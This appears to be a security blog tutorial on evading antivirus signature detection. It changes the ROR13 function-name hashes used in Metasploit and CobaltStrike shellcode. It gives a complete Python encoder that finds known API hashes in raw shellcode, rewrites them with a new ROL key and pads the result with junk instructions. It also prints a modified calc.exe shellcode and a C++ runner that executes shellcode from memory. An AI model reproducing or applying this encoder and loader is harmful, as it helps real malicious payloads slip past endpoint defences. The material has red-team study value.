Function Name Hashing

Shellcode often parses the Export Address Table of modules to determine the addresses of functions to be called, in a similar manner to how I’ve described here.

Metasploit, and similar systems that produce shellcode often lookup function names by hash value. The primary benefit of doing this is it reduces the size of the shellcode.

However, since these hash values are fixed, they are often targeted by Anti-Virus vendors. This article will look at how we go about changing these values to evade signature based detection.

ROR

Metasploit and CobaltStrike use ROR13 instructions to calculate a hash of functions that are imported. Rotate Right (ROR) is a assembly instruction that shifts all binary numbers to the right by a certain number of positions.

We can see the effect of a ROR instruction using WinDbg. In the below example, the r9d register is rotated to the right twice.

00000220`4af50038 41c1c902        ror     r9d,2
0:000> .formats @r9d
Evaluate expression:
  Hex:     00000000`80000014
  Decimal: 2147483668
  Decimal (unsigned) : 2147483668
  Octal:   0000000000020000000024
  Binary:  00000000 00000000 00000000 00000000 10000000 00000000 00000000 00010100
  Chars:   ........
  Time:    ***** Invalid
  Float:   low -2.8026e-044 high 0
  Double:  1.061e-314
0:000> p

0:000> .formats @r9d
Evaluate expression:
  Hex:     00000000`20000005
  Decimal: 536870917
  Decimal (unsigned) : 536870917
  Octal:   0000000000004000000005
  Binary:  00000000 00000000 00000000 00000000 00100000 00000000 00000000 00000101
  Chars:   .... ...
  Time:    Mon Jan  5 18:48:37 1987
  Float:   low 1.0842e-019 high 0
  Double:  2.65249e-315

Python ROR13 Hash Calculation

The same algorithm used by Metasploit can be implemented in Python to determine the hash values.

# (dword >> bits) shifts the bits of dword to the right by bits positions.
# (dword << (32 - bits)) shifts the bits of dword to the left by 32 - bits positions.
# | performs a bitwise OR operation between the two shifted values, effectively combining the results of the right and left shifts.
# The result might be more than 32 bits long after the left shift, so using & 0xFFFFFFFF masks the result to ensure it fits within a 32-bit unsigned integer.
def ror(dword, bits):
    return (dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF

def unicode(string, uppercase=True):
    # Module name is converted to unicode
    if uppercase:
        string = string.upper()
    result = '\x00'.join(string) + '\x00'
    return result

def calculate_hash(module, function, bits):
    module_hash = 0
    function_hash = 0
    for c in unicode(module + '\x00'):
        module_hash = ror(module_hash, bits)
        module_hash += ord(c)
    for c in function + '\x00':
        function_hash = ror(function_hash, bits)
        function_hash += ord(c)

    print('[+] Module Hash: 0x%08X ' % (module_hash))
    print('[+] Function Hash: 0x%08X ' % (function_hash))
    hash = module_hash + function_hash & 0xFFFFFFFF
    return hash

def main():
    module = "Kernel32.dll"
    function = "WinExec"
    hash = calculate_hash(module, function, 13)
    print('[+] Final Hash: 0x%08X ' % (hash))

if __name__ == "__main__":
    main()

This should print out the hash for WinExec;

python lookup_function_name.py
[+] Module Hash: 0x92AF16DA
[+] Function Hash: 0xF4C07457
[+] Final Hash: 0x876F8B31

Modifying Existing Shellcode

The below code carries out the following steps;

  • Uses pefile to list exported functions from a number of common DLL’s
  • Generates ROR13 hashes based on these exported functions
  • Scans supplied Shellcode for these values
  • Replaces existing ROR hash values with hashes using a different key length (e.g, rotate X number of times) using a ROL operation

Obviously this code needs to be run on Windows to extract the function names from DLL’s!

import pefile
import os
from capstone import *
import argparse

hash_dict = dict()

def lookup_functions(dll_path):
    pe = pefile.PE(dll_path)
    export_dir = pe.OPTIONAL_HEADER.DATA_DIRECTORY[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_EXPORT']]
    for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
        if exp.name:
            function_name = exp.name.decode()
            dll_name = os.path.basename(dll_path)
            hash = calculate_hash(dll_name, function_name, 13, "ror")
            hash_dict[hash] = dll_name + '!' + function_name

def ror(dword, bits):
    return ((dword >> (bits%32)) | (dword << (32-(bits%32)))) & 0xffffffff

def rol(dword, bits):
    return ((dword << (bits%32)) | (dword >> (32-(bits%32)))) & 0xffffffff

def unicode(string, uppercase=True):
    result = ''
    if uppercase:
        string = string.upper()
    for c in string:
        result += c + '\x00'
    return result

def calculate_hash(module, function, bits, hash_type):
    module_hash = 0
    function_hash = 0
    for c in unicode(module + '\x00'):
        if hash_type == "ror":
            module_hash = ror(module_hash, bits)
        if hash_type == "rol":
            module_hash = rol(module_hash, bits)
        module_hash += ord(c)
    for c in function + '\x00':
        if hash_type == "ror":
            function_hash = ror(function_hash, bits)
        if hash_type == "rol":
            function_hash = rol(function_hash, bits)
        function_hash += ord(c)
    hash = module_hash + function_hash & 0xFFFFFFFF
    return hash

def check_shellcode(shellcode, pattern):
    byte_data = pattern.to_bytes(4, 'big')
    reversed_bytes = byte_data[::-1]
    index = shellcode.find(reversed_bytes)
    return index

def replace_bytes_at_offset(data, offset, new_bytes):
    data = bytearray(data)
    end_offset = offset + len(new_bytes)
    data[offset:end_offset] = new_bytes
    return bytes(data)

def highlight_byte_changes(original_bytes, modified_bytes):
    highlighted = []
    for original, modified in zip(original_bytes, modified_bytes):
        if original == modified:
            highlighted.append(f"\\x{original:02X}")
        else:
            highlighted.append(f"\\x{original:02X} -> \\x{modified:02X}")
    return "".join(highlighted)

def find_ror_instructions(data, search_bytes):
    occurrences = []
    index = 0
    while True:
        try:
            index = data.index(search_bytes, index)
            occurrences.append(index)
            index += 1
        except ValueError:
            break
    return occurrences

def process_shellcode(shellcode,my_key):
    new_shellcode = shellcode

    for key,value in hash_dict.items():
        index = check_shellcode(shellcode, key)
        if index != -1:
            print('[+] 0x%08X = %s offset: %s' % (key, value, index))
            dll_name = value.split('!')[0]
            function_name = value.split('!')[1]
            hash = calculate_hash(dll_name, function_name, my_key, "rol")
            print('[+] New value: 0x%08X' % (hash))
            byte_data = hash.to_bytes(4, 'big')
            reversed_bytes = byte_data[::-1]
            new_shellcode = replace_bytes_at_offset(new_shellcode, index, reversed_bytes)
            hex_string = ''.join('\\x{:02X}'.format(byte) for byte in new_shellcode)

    print("[+] Changing ROR key")
    # \x41\xC1\xC9\x0D   ror  r9d,0xd   
    ror_instances = find_ror_instructions(new_shellcode,b"\x41\xC1\xC9\x0D")
    for ror_offset in ror_instances:
        bytes_key = my_key.to_bytes(1, 'big')
        # We're replacing the ROR with a ROL here. ROR = \x41\xC1\xC9  ROL = \x41\xC1\xC1\
        new_shellcode = replace_bytes_at_offset(new_shellcode, ror_offset, b"\x41\xC1\xC1" + bytes_key)
        
    return new_shellcode

def main():
    parser = argparse.ArgumentParser(description='Process shellcode.')
    parser.add_argument('--shellcode', help='Filename containing raw shellcode')
    parser.add_argument('--key', type=int, help='ROR key to be used')
    parser.add_argument('--decompile', action='store_true', help='Show the resulting modified shellcode')

    args = parser.parse_args()
    file_path = args.shellcode
    my_key = args.key
    decompile = args.decompile

    if (my_key < 32) or (my_key > 255):
        print("[+] Key must be between 33 and 255")
        exit()

    if file_path and my_key:
        print(f"[+] Encoding shellcode {file_path} using ROR key: {my_key}")
    else:
        print("[+] Please provide both --shellcode and --key arguments.")
        exit()

    # Populate hash_dict global variable
    dll_paths = ['C:\\Windows\\System32\\kernel32.dll', 
                 'C:\\Windows\\System32\\ws2_32.dll', 
                 'C:\\Windows\\System32\\wininet.dll', 
                 'C:\\Windows\\System32\\dnsapi.dll']
    
    for dll in dll_paths:
        lookup_functions(dll)

    # Read existing shellcode
    print("[+] Reading shellcode")
    try: 
        with open(file_path, "rb") as file:
            shellcode = file.read()
    except FileNotFoundError:
        print("File not found or cannot be opened.")

    new_shellcode = process_shellcode(shellcode,my_key)

    # Add some NOP's
    position = 1
    bytes_to_insert = b"\xFF\xC0\xFF\xC8" * 5  # INC EAX, DEC EAX
    modified_shellcode = new_shellcode[:position] + bytes_to_insert + new_shellcode[position:]

    # print("[+] Modifications")
    # highlighted_changes = highlight_byte_changes(shellcode, modified_shellcode)
    # print(highlighted_changes)

    print("Shellcode size: " + str(len(modified_shellcode)))

    print("[+] Final shellcode (C++)")
    hex_string = ''.join('\\x{:02X}'.format(byte) for byte in modified_shellcode)
    print(hex_string)

    print("[+] Final shellcode (C#)")
    hex_string = ''.join('0x{:02X},'.format(byte) for byte in modified_shellcode)
    print(hex_string[:-1])

    outputfile = "output.bin"
    print("[+] Writing bytes to file: " + outputfile)
    with open(outputfile, 'wb') as file:
        file.write(modified_shellcode)

    if (decompile == True):
        print("[+] ASM Code")
        md = Cs(CS_ARCH_X86, CS_MODE_64)
        for i in md.disasm(modified_shellcode, 0x1000):
            print("0x%x:\t%s\t%s\t%s" %(i.address, ' '.join('{:02x}'.format(x) for x in i.bytes), i.mnemonic, i.op_str))

if __name__ == "__main__":
    main()

Running the Encoder

Executing the code, we can see the existing ROR13 values are identified and replaced with ROL33 values.

python function_encoder.py --shellcode calc.raw --key 33
[+] Encoding shellcode calc.raw using ROR key: 33
[+] Reading shellcode
[+] 0x56A2B5F0 = kernel32.dll!ExitProcess offset: 229
[+] New value: 0xC5EE264A
[+] 0x9DBD95A6 = kernel32.dll!GetVersion offset: 235
[+] New value: 0xC5EB3370
[+] 0x876F8B31 = kernel32.dll!WinExec offset: 222
[+] New value: 0xC5E8D7CA
[+] Changing ROR key
Shellcode size: 296
[+] Final shellcode (C++)
\xFC\xFF\xC0\xFF\xC8\xFF\xC0\xFF\xC8\xFF\xC0\xFF\xC8\xFF\xC0\xFF\xC8\xFF\xC0\xFF\xC8\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC1\x21\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC1\x21\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x48\xBA\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8D\x8D\x01\x01\x00\x00\x41\xBA\xCA\xD7\xE8\xC5\xFF\xD5\xBB\x4A\x26\xEE\xC5\x41\xBA\x70\x33\xEB\xC5\xFF\xD5\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5\x63\x61\x6C\x63\x2E\x65\x78\x65\x00
[+] Final shellcode (C#)
0xFC,0xFF,0xC0,0xFF,0xC8,0xFF,0xC0,0xFF,0xC8,0xFF,0xC0,0xFF,0xC8,0xFF,0xC0,0xFF,0xC8,0xFF,0xC0,0xFF,0xC8,0x48,0x83,0xE4,0xF0,0xE8,0xC0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x72,0x50,0x48,0x0F,0xB7,0x4A,0x4A,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,0xC1,0xC1,0x21,0x41,0x01,0xC1,0xE2,0xED,0x52,0x41,0x51,0x48,0x8B,0x52,0x20,0x8B,0x42,0x3C,0x48,0x01,0xD0,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xC0,0x74,0x67,0x48,0x01,0xD0,0x50,0x8B,0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0xE3,0x56,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,0x48,0x01,0xD6,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x41,0xC1,0xC1,0x21,0x41,0x01,0xC1,0x38,0xE0,0x75,0xF1,0x4C,0x03,0x4C,0x24,0x08,0x45,0x39,0xD1,0x75,0xD8,0x58,0x44,0x8B,0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x41,0x58,0x41,0x58,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,0x5A,0x48,0x83,0xEC,0x20,0x41,0x52,0xFF,0xE0,0x58,0x41,0x59,0x5A,0x48,0x8B,0x12,0xE9,0x57,0xFF,0xFF,0xFF,0x5D,0x48,0xBA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x8D,0x01,0x01,0x00,0x00,0x41,0xBA,0xCA,0xD7,0xE8,0xC5,0xFF,0xD5,0xBB,0x4A,0x26,0xEE,0xC5,0x41,0xBA,0x70,0x33,0xEB,0xC5,0xFF,0xD5,0x48,0x83,0xC4,0x28,0x3C,0x06,0x7C,0x0A,0x80,0xFB,0xE0,0x75,0x05,0xBB,0x47,0x13,0x72,0x6F,0x6A,0x00,0x59,0x41,0x89,0xDA,0xFF,0xD5,0x63,0x61,0x6C,0x63,0x2E,0x65,0x78,0x65,0x00
[+] Writing bytes to file: output.bin

The resulting shellcode can then be imported into a runner;

#include <Windows.h>
#include <iostream>

unsigned char code[] = 
"\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B"
"\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48"
"\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0C\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B"
"\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50"
"\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D"
"\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0C\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45"
"\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01"
"\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83"
"\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x48\xBA\x01\x00"
"\x00\x00\x00\x00\x00\x00\x48\x8D\x8D\x01\x01\x00\x00\x41\xBA\x03\x39\x68\xBB\xFF\xD5\xBB\x8B"
"\x4F\x16\xEC\x41\xBA\xB7\x7A\x96\xCE\xFF\xD5\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75"
"\x05\xBB\x47\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5\x63\x61\x6C\x63\x2E\x65\x78\x65\x00";


int main()
{
    HANDLE buffer = VirtualAlloc(NULL, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(buffer, code, sizeof(code));

    DWORD oldProtect;
    VirtualProtect(buffer,sizeof(code),PAGE_EXECUTE_READ, &oldProtect);

    (*(void(*)()) buffer)();

}

In Conclusion

Carrying out this slight modification can greatly reduce the shellcodes detection rates. Alternative instructions could be implemented, instead of using a ROR/ROL value. You would just need to ensure the new instructions do not generate hash collisions. To extend the concept further, you could implement bespoke PEB traversal code and attach that to the existing shellcode.